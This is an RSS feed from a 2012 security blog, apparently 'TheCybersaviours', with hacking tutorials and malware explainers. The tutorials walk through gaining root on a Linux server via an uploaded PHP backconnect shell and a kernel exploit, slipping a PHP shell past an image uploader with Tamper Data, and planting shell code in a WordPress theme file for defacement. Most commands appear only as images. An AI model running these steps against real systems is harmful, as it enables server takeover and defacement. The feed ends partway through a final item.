<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>TheCybersaviours</title>
	
	<link>http://thecybersaviours.com</link>
	<description />
	<lastBuildDate>Wed, 23 Jan 2013 19:22:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/thecybersaviours/TnlE" /><feedburner:info uri="thecybersaviours/tnle" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><creativeCommons:license>http://creativecommons.org/licenses/by-nc-nd/3.0/</creativeCommons:license><image><link>http://creativecommons.org/licenses/by-nc-nd/3.0/</link><url>http://creativecommons.org/images/public/somerights20.gif</url><title>Some Rights Reserved</title></image><feedburner:emailServiceId>thecybersaviours/TnlE</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><item>
		<title>TheHarvester tool</title>
		<link>http://feedproxy.google.com/~r/thecybersaviours/TnlE/~3/K0knvbnP1ac/theharvester-tool</link>
		<comments>http://thecybersaviours.com/theharvester-tool#comments</comments>
		<pubDate>Sat, 07 Jul 2012 18:58:01 +0000</pubDate>
		<dc:creator>Abhimanyu</dc:creator>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hacks]]></category>

		<guid isPermaLink="false">http://thecybersaviours.com/?p=2444</guid>
		<description><![CDATA[TheHarvester tool is an Information Gathering tool and provides us with very finely organized details of the target. This lists out all the the associated email addresses, usernames, hostnames/subdomains from the target domain using four of the primary public sources which include: Google, Bing, PGP and LinkedIn. This is a very easy to use tool [...]]]></description>
			<content:encoded><![CDATA[<p><strong>TheHarvester</strong> tool is an Information Gathering tool and provides us with very finely organized details of the target. This lists out all the the associated <em>email addresses, usernames, hostnames/subdomains</em> from the target domain using four of the primary public sources which include:<em> Google, Bing, PGP</em> and <em>LinkedIn</em>. This is a very easy to use tool which I will be providing a simple demo on. This comes pre-installed under Enumeration tools in Backtrack, so need to worry about downloading and installing for the Backtrack users. For those who do want can download it by clicking <a rel="nofollow" href="https://code.google.com/p/theharvester/" target="_blank">here</a>.</p>
<p>Open the <em>Terminal </em>and proceed as shown below:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/07/1.png"><img class="aligncenter size-full wp-image-2445" title="1" src="http://thecybersaviours.com/wp-content/uploads/2012/07/1.png" alt="" width="645" height="168" /></a></p>
<p>Now, let&#8217;s check what all parameters can be passed to it:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/07/2.png"><img class="aligncenter size-full wp-image-2446" title="2" src="http://thecybersaviours.com/wp-content/uploads/2012/07/2.png" alt="" width="683" height="426" /></a></p>
<p>Now, suppose my target website is &#8216;<em>thecybersaviours.com</em>&#8216;, I write something like:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/07/3.png"><img class="aligncenter size-full wp-image-2447" title="3" src="http://thecybersaviours.com/wp-content/uploads/2012/07/3.png" alt="" width="695" height="41" /></a></p>
<p>I wanted to the save into some output.txt file, so I did it for the same. Now, once We press &#8216;<em>Enter</em>&#8216;, it starts scanning and lists out the complete available data from the source specified as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/07/4.png"><img class="aligncenter size-full wp-image-2448" title="4" src="http://thecybersaviours.com/wp-content/uploads/2012/07/4.png" alt="" width="463" height="179" /></a></p>
<p>This is it. You can even find the associated user details from the target website in <em>LinkedIn</em> as well.</p>
<p><strong><em>Disclaimer: </em></strong>This is for educational purpose and to make you aware of the scenarios of various different security breaches. The administrator or the authors of <em>thecybersaviours</em> will not be responsible for any misuse of this post.</p>
<img src="http://feeds.feedburner.com/~r/thecybersaviours/TnlE/~4/K0knvbnP1ac" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://thecybersaviours.com/theharvester-tool/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://thecybersaviours.com/theharvester-tool</feedburner:origLink></item>
		<item>
		<title>Linux Server Rooting</title>
		<link>http://feedproxy.google.com/~r/thecybersaviours/TnlE/~3/DCB5n8nlt2s/linux-server-rooting</link>
		<comments>http://thecybersaviours.com/linux-server-rooting#comments</comments>
		<pubDate>Thu, 07 Jun 2012 09:42:33 +0000</pubDate>
		<dc:creator>Abhimanyu</dc:creator>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[secure]]></category>

		<guid isPermaLink="false">http://thecybersaviours.com/?p=2415</guid>
		<description><![CDATA[In this post, I will be demonstrating how to root a Linux server with a shell uploaded to it. I will be moving step-wise that&#8217;s definitely going to bring out the best tutorial on Linux server rooting all over the web. Assuming that I have already uploaded a shell on some website on the server with a [...]]]></description>
			<content:encoded><![CDATA[<p>In this post, I will be demonstrating how to root a Linux server with a shell uploaded to it. I will be moving step-wise that&#8217;s definitely going to bring out the best tutorial on <strong>Linux server rooting</strong> all over the web.</p>
<p>Assuming that I have already uploaded a shell on some website on the server with a change that specifies the attacker&#8217;s IP and the appropriate port as shown below:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/06/1.png"><img class="aligncenter size-full wp-image-2416" title="1" src="http://thecybersaviours.com/wp-content/uploads/2012/06/1.png" alt="" width="296" height="170" /></a></p>
<p>Now, the attacker with the IP &#8216;<em>192.168.48.189</em>&#8216; starts listening for a connection through Netcat as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/06/2.png"><img class="aligncenter size-full wp-image-2417" title="2" src="http://thecybersaviours.com/wp-content/uploads/2012/06/2.png" alt="" width="529" height="36" /></a></p>
<p>Now, my shell on the server looks something like:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/06/2_4.png"><img class="aligncenter size-full wp-image-2418" title="2_4" src="http://thecybersaviours.com/wp-content/uploads/2012/06/2_4.png" alt="" width="1246" height="300" /></a></p>
<p>with several <strong>PHP backconnect</strong> links. As soon as I click on one of them, the terminal window which was listening for the connection, shows up like this:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/06/2_5.png"><img class="aligncenter size-full wp-image-2419" title="2_5" src="http://thecybersaviours.com/wp-content/uploads/2012/06/2_5.png" alt="" width="641" height="151" /></a></p>
<p>Type uname to get the server version running as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/06/3.png"><img class="aligncenter size-full wp-image-2420" title="3" src="http://thecybersaviours.com/wp-content/uploads/2012/06/3.png" alt="" width="640" height="53" /></a></p>
<p>Cool, it&#8217;s <strong>3.0.0-12-generic</strong>! The attacker googles for the version&#8217;s exploit by searching &#8216;<em>Linux server <strong>3.0.0-12-generic exploit</strong></em>&#8216; and gets one for him. In our case let it be &#8216;<strong>exploit.c</strong>&#8216;</p>
<p>Now, traverse to the &#8216;<strong>/tmp</strong>&#8216; directory, which is always writable. Next, the attacker creates a custom directory there (say &#8216;<strong>exploit</strong>&#8216; ) as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/06/51.png"><img class="aligncenter size-full wp-image-2423" title="5" src="http://thecybersaviours.com/wp-content/uploads/2012/06/51.png" alt="" width="636" height="357" /></a></p>
<p>The attacker has successfully created the &#8216;<strong>exploit</strong>&#8216; directory and added the <strong>exploit.c</strong> file to it. Now, he needs to compile the <strong>exploit.c</strong> file and create an output file (say it to be &#8216;<strong>rooted</strong>&#8216;) in the same directory. To do so, the attacker proceeds further like:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/06/61.png"><img class="aligncenter size-full wp-image-2425" title="6" src="http://thecybersaviours.com/wp-content/uploads/2012/06/61.png" alt="" width="641" height="141" /></a></p>
<p>This is almost done. The attacker now changes the file permission of rooted to &#8216;<em>777</em>&#8216; as<em>:</em></p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/06/8.png"><img class="aligncenter size-full wp-image-2426" title="8" src="http://thecybersaviours.com/wp-content/uploads/2012/06/8.png" alt="" width="399" height="17" /></a></p>
<p>Now execute the output file and done!</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/06/8_5.png"><img class="aligncenter size-full wp-image-2427" title="8_5" src="http://thecybersaviours.com/wp-content/uploads/2012/06/8_5.png" alt="" width="468" height="64" /></a></p>
<p>The attacker types &#8216;<strong>id</strong>&#8216; and he can see that he has successfully gained the root access to the server.</p>
<p><strong>FYI:</strong> You can also check the <em>readme file</em> to find further details about the exploit I used for this demo at <a rel="nofollow" href="http://dl.dropbox.com/u/57335721/linux_rooting_info_TCS" target="_blank">http://dl.dropbox.com/u/57335721/linux_rooting_info_TCS</a></p>
<p><strong><em>Disclaimer: </em></strong>This is for educational purpose and to make you aware of the scenarios of various different security breaches. The administrator or the authors of <em>thecybersaviours</em> will not be responsible for any misuse of this post.</p>
<img src="http://feeds.feedburner.com/~r/thecybersaviours/TnlE/~4/DCB5n8nlt2s" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://thecybersaviours.com/linux-server-rooting/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://thecybersaviours.com/linux-server-rooting</feedburner:origLink></item>
		<item>
		<title>DNS Changer malware</title>
		<link>http://feedproxy.google.com/~r/thecybersaviours/TnlE/~3/Le3UFMCzkeo/dns-changer-malware</link>
		<comments>http://thecybersaviours.com/dns-changer-malware#comments</comments>
		<pubDate>Sun, 27 May 2012 19:09:05 +0000</pubDate>
		<dc:creator>Abhimanyu</dc:creator>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[PC Computer Worms]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[Trojans in the wild]]></category>
		<category><![CDATA[Viruses]]></category>
		<category><![CDATA[Viruses, Spywares, Trojans and the Bots]]></category>

		<guid isPermaLink="false">http://thecybersaviours.com/?p=2393</guid>
		<description><![CDATA[DNS Changer is a trojan horse that has been reported to have infected around 4 million computers all over the world by now. The trojan is so powerful that it can blacken out the complete internet. The trojan works out by altering the DNS settings of the victim&#8217;s ISP, thereby completely messing up the domain [...]]]></description>
			<content:encoded><![CDATA[<p><strong>DNS Changer</strong> is a trojan horse that has been reported to have infected around <em>4 million</em> computers all over the world by now. The trojan is so powerful that it can blacken out the complete internet. The trojan works out by altering the DNS settings of the victim&#8217;s ISP, thereby completely messing up the domain and IP mapping, redirecting the genuine URLs to open fraudulent and malicious websites, leaving behind the victim wondering. The <a title="VIRUS, WORMS and TROJANS!" href="http://thecybersaviours.com/virus-worms-and-trojans" target="_blank">malware</a> is still persistent and still infects around <em>330,000</em> computers all over the world. This trojan is said to have illegally earned the fraud money sum of around <em>$14 million</em> from the time it was first discovered in 2007, though the seven people involved with this trojan have been busted by the FBI last November.</p>
<p><strong>What exactly is a Domain Name Server (DNS) ?</strong></p>
<p>Suppose that we enter a particular URL, say <a href="http://thecybersaviours.com" target="_blank">http://thecybersaviours.com</a>, the request passes on to the associated DNS servers to resolve this domain name to its corresponding IP address. There is a chain of requests to the DNS servers until and unless the domain name is resolved, that completely depends on my ISP, the DNS servers it provides. Following is the image that shows it all:</p>
<div id="attachment_2399" class="wp-caption aligncenter" style="width: 593px"><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/infograph.jpg"><img class="size-full wp-image-2399" title="DNS server explanation" src="http://thecybersaviours.com/wp-content/uploads/2012/05/infograph.jpg" alt="" width="583" height="471" /></a><p class="wp-caption-text">Image Credit: www.howstuffworks.com</p></div>
<p>By default, the ISP automatically assigns us the DNS servers, though we know that some computer geeks prefer entering them manually.</p>
<p><strong>A brief insight into DHCP</strong></p>
<p><strong>DHCP</strong> stands for <em>Dynamic Host Configuration Protocol. </em>I will be very straightforward and precise in explaining you. The moment you connect yourselves to the internet, the <strong>DHCP server</strong> automatically assigns the IP address to your computer, default gateway, subnet mask, the <em>DNS server</em> and other IP configuration parameters. Actually, these parameters are managed by the <strong>DHCP servers</strong>. <em>DHCP servers</em> manage the pool of IP addresses too, such that the next moment when client disconnects from the internet, the previously assigned IP address gets added back to the pool. I hope you more or less got the basic idea.</p>
<p><strong>How DNS Changer works?</strong></p>
<p><strong>DNS Changer</strong> is a dreadful trojan, also referred to be the variants of the <em>Zlob Family</em>. Basically, they try penetrating into a network running DHCP servers for dynamic configuration and getting access to the  <em>gateway/router</em>. They bruteforce the device login with common username and passwords, and once successful, enter the configuration setting of the devices and change the ISP&#8217;s genuine DNS servers to fraudulent ones, which are operated remotely by the criminals. Once these device settings get screwed, the impact can be seen in all the terminals/computers attached to it, though they haven&#8217;t been actually infected by the trojan. The malicious/rogue DNS servers redirect the genuine URLs to open fraudulent and malicious websites.</p>
<p>FBI are said to have uncovered the network of those malicious DNS servers operating  behind the scenes, but they have been stopped from disabling them, since there still are the victims who rely on these malicious DNS servers for the DNS services. FBI has temporarily arranged the clean DNS servers for these infected victims providing them with the time space to get themselves out this infection and get it fixed, instead of explicitly shutting down the rogue DNS servers immediately. These clean DNS servers are most commonly referred as the <strong>Ghost Click servers</strong>. According to the court orders, the malicious and the temporarily established clean DNS servers will be shut down on <em>June 9</em> and the infected computers still relying on them won&#8217;t be able to access the internet and their internet connection would go dark.</p>
<p><strong>What if you have been already infected?</strong></p>
<p>Consult a computer professional and take a backup of your docs before getting started with the cleaning process.</p>
<p>For the cure and supplementary reading, you can also take a look at <a rel="nofollow" href="http://digitalsaliva.com/internet-shutdown-9july-dns-changer/" target="_blank">http://digitalsaliva.com/internet-shutdown-9july-dns-changer/</a></p>
<p>Just recently, <a rel="nofollow" href="http://www.pcmag.com/article2/0,2817,2404799,00.asp" target="_blank">Google pledged to warn users whose computers or home routers appear to be infected with the DNSChanger malware.</a></p>
<img src="http://feeds.feedburner.com/~r/thecybersaviours/TnlE/~4/Le3UFMCzkeo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://thecybersaviours.com/dns-changer-malware/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://thecybersaviours.com/dns-changer-malware</feedburner:origLink></item>
		<item>
		<title>JPG shell execution</title>
		<link>http://feedproxy.google.com/~r/thecybersaviours/TnlE/~3/_wLOMFUgt4U/jpg-shell-execution</link>
		<comments>http://thecybersaviours.com/jpg-shell-execution#comments</comments>
		<pubDate>Sun, 20 May 2012 18:38:46 +0000</pubDate>
		<dc:creator>Abhimanyu</dc:creator>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[Hacker Activities]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[secure]]></category>

		<guid isPermaLink="false">http://thecybersaviours.com/?p=2366</guid>
		<description><![CDATA[We already have come across a lot of topics on shell. This one is about how the attacker fools the vulnerable image uploader to get his shell uploaded on the server. I have created a very simple small testing application to demonstrate this. You can even download this vulnerable uploader code file at http://db.tt/ApNzszJT . The [...]]]></description>
			<content:encoded><![CDATA[<p>We already have come across a lot of topics on shell. This one is about how the attacker fools the vulnerable image uploader to get his shell uploaded on the server. I have created a very simple small testing application to demonstrate this. You can even download this vulnerable uploader code file at <a rel="nofollow" href="http://db.tt/ApNzszJT" target="_blank">http://db.tt/ApNzszJT</a> . The application initially looks like:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/1.png"><img class="aligncenter size-full wp-image-2367" title="1" src="http://thecybersaviours.com/wp-content/uploads/2012/05/1.png" alt="" width="534" height="109" /></a></p>
<p>So let&#8217;s check if the PHP filetype get uploaded or not. I browse to a file say <em>&#8216;shell-upload-test.php&#8217;</em> file and click on the upload button as shown below:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/32.png"><img class="aligncenter size-full wp-image-2370" title="3" src="http://thecybersaviours.com/wp-content/uploads/2012/05/32.png" alt="" width="586" height="153" /></a>Now the attacker wonders how then can he upload his shell? But he has an idea. He installs the <a title="How Tamper Data Mozilla add-on works?" href="http://thecybersaviours.com/how-tamper-data-mozilla-add-on-works" target="_blank">Tamper Data Mozilla Add-on</a> first. Then he renames the current shell filename from <em>&#8216;shell-upload-test.php&#8217;</em>  to <em>&#8216;shell-upload-test.php.jpg&#8217;</em> . Cool! Now he browses for this renamed file <em>&#8216;shell-upload-test.php.jpg&#8217;</em> as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/4.png"><img class="aligncenter size-full wp-image-2371" title="4" src="http://thecybersaviours.com/wp-content/uploads/2012/05/4.png" alt="" width="515" height="114" /></a>Just before clicking the &#8216;<em>Upload File</em> button, the attacker opens up the Tamper Data application and starts the tamper as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/5.png"><img class="aligncenter size-full wp-image-2372" title="5" src="http://thecybersaviours.com/wp-content/uploads/2012/05/5.png" alt="" width="478" height="211" /></a>Now, switch back to the uploader and  he clicks the &#8216;<em>Upload File</em>&#8216; button. As soon as it is clicked, the window pops up as:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/6.png"><img class="aligncenter size-full wp-image-2373" title="6" src="http://thecybersaviours.com/wp-content/uploads/2012/05/6.png" alt="" width="425" height="162" /></a>Click on <em>&#8216;Tamper</em>&#8216; and get going. A bigger window shows then. On the right side top of that window, the attacker sees the textarea containing the actual post data. He finds the filename <em>&#8216;shell-upload-test.php.jpg&#8217;</em>  and renames it back to <em>&#8216;shell-upload-test.php&#8217; </em>as shown below:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/7.png"><img class="aligncenter size-full wp-image-2374" title="7" src="http://thecybersaviours.com/wp-content/uploads/2012/05/7.png" alt="" width="468" height="124" /></a>Renaming it looks like:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/8.png"><img class="aligncenter size-full wp-image-2375" title="8" src="http://thecybersaviours.com/wp-content/uploads/2012/05/8.png" alt="" width="470" height="112" /></a>Clicking on <em>&#8216;OK</em>&#8216; now submits the altered data to the server and the uploader now notifies that the &#8216;<strong><em>File has been uploaded successfully</em></strong>&#8216; as it can be seen in the below figure:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/9.png"><img class="aligncenter size-full wp-image-2376" title="9" src="http://thecybersaviours.com/wp-content/uploads/2012/05/9.png" alt="" width="876" height="160" /></a>Great! Now all is done. The attacker judges out the upload directory and can see his shell as he wanted it to be.</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/10.png"><img class="aligncenter size-full wp-image-2377" title="10" src="http://thecybersaviours.com/wp-content/uploads/2012/05/10.png" alt="" width="573" height="114" /></a>This is it! Instead of the sample text being displayed, the attacker would have seen the actual shell output in its place. I hope this was better explained. As for any queries after going through this post, you can very well post in your comments.</p>
<p><strong><em>Disclaimer: </em></strong>This is for educational purpose and to make you aware of the scenarios of various different security breaches. The administrator or the authors of <em>thecybersaviours</em> will not be responsible for any misuse of this post.</p>
<div></div>
<img src="http://feeds.feedburner.com/~r/thecybersaviours/TnlE/~4/_wLOMFUgt4U" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://thecybersaviours.com/jpg-shell-execution/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://thecybersaviours.com/jpg-shell-execution</feedburner:origLink></item>
		<item>
		<title>Ransomware – the scary worm</title>
		<link>http://feedproxy.google.com/~r/thecybersaviours/TnlE/~3/oEygN-obG84/ransomware-the-scary-worm</link>
		<comments>http://thecybersaviours.com/ransomware-the-scary-worm#comments</comments>
		<pubDate>Sun, 13 May 2012 10:48:54 +0000</pubDate>
		<dc:creator>Abhimanyu</dc:creator>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[Hacker Activities]]></category>
		<category><![CDATA[PC Computer Worms]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[Trojans in the wild]]></category>
		<category><![CDATA[Viruses]]></category>
		<category><![CDATA[Viruses, Spywares, Trojans and the Bots]]></category>

		<guid isPermaLink="false">http://thecybersaviours.com/?p=2326</guid>
		<description><![CDATA[Just few days back I had come across this creepy undying malware that keeps on striking the innocent people with its scarewares, scaring the hell out of them. Announced under the general term Malware, it&#8217;s more specifically a worm or rather a cryptoworm. Infection and Prevention So the first question you might be wondering about [...]]]></description>
			<content:encoded><![CDATA[<p>Just few days back I had come across this <em>creepy undying malware</em> that keeps on striking the innocent people with its scarewares, scaring the hell out of them. Announced under the general term <strong>Malware</strong>, it&#8217;s more specifically a <strong>worm</strong> or rather a <strong>cryptoworm</strong>.</p>
<p><strong>Infection and Prevention</strong></p>
<p>So the first question you might be wondering about how exactly the victim gets infected? The infection might take place because of the vulnerable network service or downloading untrusted files over the internet. So think twice before clicking and downloading any untrusted links/files, which you will further in this article come to know, how worst this can go.</p>
<p><strong>How does this malware work?</strong></p>
<p>Once the victim&#8217;s system gets infected with this <strong>Ransomware</strong>, the payload gets triggered. This might act crazy with the system, encrypting some or whole of the victim&#8217;s data, modifying the <strong>MBR</strong> (Master Boot Record) and even lock down the system completely, asking the victim for a ransom to get it fixed. In some other cases, the victims get notified about being involved in illegal online activities and say it to be issued by some law enforcing agencies. Consequently it further states that the victim has to pay out some money immediately to get relieved of this. In some even more worse conditions, the malware encrypts the victim&#8217;s system data using <strong>Hybrid Encryption Technique</strong>, in which the plain text is encrypted by a <em>random symmetric key</em> and further this <em>symmetric key</em> is encrypted with a <em>fixed public key</em> generated by the malware itself. Now, it pops up saying that if the victim wants all of the data to be decrypted back again to its normal form, pay the ransom of say, <em>100 dollars</em>! On the other hand, the victims have no other choice than to pay the malware authors and get everything fixed. Googling around I found a snapshot as well which is shown below:</p>
<div id="attachment_2333" class="wp-caption aligncenter" style="width: 810px"><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/Royal-Canadian-Mounted-Police-ransomware.jpg"><img class=" wp-image-2333" title="Ransomware sanpshot" src="http://thecybersaviours.com/wp-content/uploads/2012/05/Royal-Canadian-Mounted-Police-ransomware.jpg" alt="Ransomware" width="800" height="598" /></a><p class="wp-caption-text">Image Credit: http://malwaretips.com/</p></div>
<p><strong>In the news</strong></p>
<p>Back in <strong>August 2010</strong>, ten individuals were caught for playing with <strong>WinLock</strong>, a ransomware, which reportedly displayed pornographic images and asked the victim to send a <em>US$10</em> text message to receive the unlock code. The involved group was said to have earned around <em>US$16 million</em> in this scam.</p>
<p>In <strong>2011</strong>, a ransomware attack said that the victim&#8217;s operating system installation needs to be re-activated due to some reasons and they need to call on some international numbers to get it done. Actually the call used to get routed to some malicious operator which begins charging the victim with high call rates keeping their call on hold.</p>
<p>In <strong>2012</strong>, another ransomware surfaced itself, containing notices from the law enforcement agencies that the victim is involved in illegal activities and that the system contains pornographic videos and spam messages related to terrorist activities. It further asks the victim to pay the fine through <a title="Ukash" rel="nofollow" href="http://en.wikipedia.org/wiki/Ukash" target="_blank">Ukash</a> or <a title="Paysafecard" rel="nofollow" href="http://en.wikipedia.org/wiki/Paysafecard" target="_blank">Paysafecard</a> payment platforms, since their service are anonymous and difficult to be traced.</p>
<p><strong>Recommended reads on some recent Ransomware news</strong></p>
<p><a rel="nofollow" href="http://www.zdnet.co.uk/news/security-threats/2012/05/08/ransomware-locks-up-pcs-in-fake-anti-piracy-campaign-40155180/" target="_blank">http://www.zdnet.co.uk/news/security-threats/2012/05/08/ransomware-locks-up-pcs-in-fake-anti-piracy-campaign-40155180/</a></p>
<p><a rel="nofollow" href="http://www.net-security.org/malware_news.php?id=2102" target="_blank">http://www.net-security.org/malware_news.php?id=2102</a></p>
<p>I hope this was an intriguing and interesting topic to read on, as we just came across yet another wonder scenario to how destructive a malware could be.</p>
<div></div>
<div></div>
<div></div>
<div></div>
<img src="http://feeds.feedburner.com/~r/thecybersaviours/TnlE/~4/oEygN-obG84" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://thecybersaviours.com/ransomware-the-scary-worm/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://thecybersaviours.com/ransomware-the-scary-worm</feedburner:origLink></item>
		<item>
		<title>Direct shell upload in WordPress</title>
		<link>http://feedproxy.google.com/~r/thecybersaviours/TnlE/~3/Jsf4_7rQYQU/direct-shell-upload-in-wordpress</link>
		<comments>http://thecybersaviours.com/direct-shell-upload-in-wordpress#comments</comments>
		<pubDate>Tue, 08 May 2012 20:13:31 +0000</pubDate>
		<dc:creator>Abhimanyu</dc:creator>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[Ethical Hacking]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[secure]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://thecybersaviours.com/?p=2292</guid>
		<description><![CDATA[I had kept this topic on hold since long, as it was planned to be the last of the recently targeted posts on exploiting WordPress. This topic involves replacing the existing code in a theme file with that of the shell, and that to after the login has been cracked using wordpress login bruteforce or using [...]]]></description>
			<content:encoded><![CDATA[<p>I had kept this topic on hold since long, as it was planned to be the last of the recently targeted posts on exploiting WordPress. This topic involves replacing the existing code in a theme file with that of the<a title="404 shell ride" href="http://thecybersaviours.com/404-shell-ride" target="_blank"> shell</a>, and that to after the login has been cracked using <a href="http://thecybersaviours.com/wordpress-login-bruteforce" target="_blank">wordpress login bruteforce</a> or using some <a title="WordPress hack through symlink bypass" href="http://thecybersaviours.com/wordpress-hack-through-symlink-bypass" target="_blank">symlink bypass technique on the vulnerable server</a> i.e. only after the attacker has successfully logged into the victim&#8217;s dashboard.</p>
<p>So let&#8217;s check out how exactly this is accomplished.</p>
<p>The attacker logs into the victim&#8217;s account <em>Dashboard, </em>goes to the <strong>Appearance</strong> menu on the left hand side and selects the submenu &#8216;<strong>Editor</strong>&#8216; as shown below:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/3.jpg"><img class="aligncenter size-full wp-image-2293" title="3" src="http://thecybersaviours.com/wp-content/uploads/2012/05/3.jpg" alt="" width="283" height="89" /></a></p>
<p>Clicking on &#8216;<strong>Editor</strong>&#8216;, the attacker is taken to editing the &#8216;<em>style.css&#8217;</em> of the currently active theme. To the right of it, click on<em> &#8217;comments.php&#8217; </em>as shown:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/1.jpg"><img class="aligncenter size-full wp-image-2294" title="1" src="http://thecybersaviours.com/wp-content/uploads/2012/05/1.jpg" alt="" width="187" height="195" /></a></p>
<p>Now the &#8216;<em>comments.php</em>&#8216; opens in the editor. The attacker deletes the current content of the file and puts in his own shell code as shown:</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/2.jpg"><img class="aligncenter size-full wp-image-2295" title="2" src="http://thecybersaviours.com/wp-content/uploads/2012/05/2.jpg" alt="" width="602" height="259" /></a></p>
<p>I have entered the custom php code for demo. The attacker enters his own custom php shell code instead. Update the changes and open up the browser and go to something like:</p>
<pre>http://127.0.0.1/wordpress/wp-content/themes/assembler/comments.php</pre>
<p>which nothing but runs the &#8216;<em>comments.php&#8217;</em> file on the server thereby running the malicious shell, which can be further taken to the extent of defacing the victim&#8217;s website.</p>
<p><a href="http://thecybersaviours.com/wp-content/uploads/2012/05/4.jpg"><img class="aligncenter size-full wp-image-2296" title="4" src="http://thecybersaviours.com/wp-content/uploads/2012/05/4.jpg" alt="" width="573" height="175" /></a></p>
<p><strong>Also you might be wondering that since the attacker has already logged in to the victim&#8217;s dashboard, what&#8217;s the use then to upload the shell?</strong></p>
<p>The answer is that the attacker is not yet happy with just the dashboard access. So, in order to get access to the <em>main index file</em>, that may or may not be present in the currently active WordPress theme, the attacker prefers uploading a shell and finding the way to &#8216;<em>index.php&#8217;</em> file, which on being found, he/she screws it down further leading to the complete defacement of the website.</p>
<p>This is it. I hope this was worth looking at. You might have read several topics on the same but this was my way to presenting it. Thank you all and stay tuned!</p>
<p><strong><em>Disclaimer: </em></strong>This is for educational purpose and to make you aware of the scenarios of various different security breaches. The administrator or the authors of <em>thecybersaviours</em> will not be responsible for any misuse of this post.</p>
<img src="http://feeds.feedburner.com/~r/thecybersaviours/TnlE/~4/Jsf4_7rQYQU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://thecybersaviours.com/direct-shell-upload-in-wordpress/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://thecybersaviours.com/direct-shell-upload-in-wordpress</feedburner:origLink></item>
		<item>
		<title>Yahoo password reset vulnerability</title>
		<link>http://feedproxy.google.com/~r/thecybersaviours/TnlE/~3/6m3ijoKFPec/yahoo-password-reset-vulnerability</link>
		<comments>http://thecybersaviours.com/yahoo-password-reset-vulnerability#comments</comments>
		<pubDate>Wed, 02 May 2012 21:00:09 +0000</pubDate>
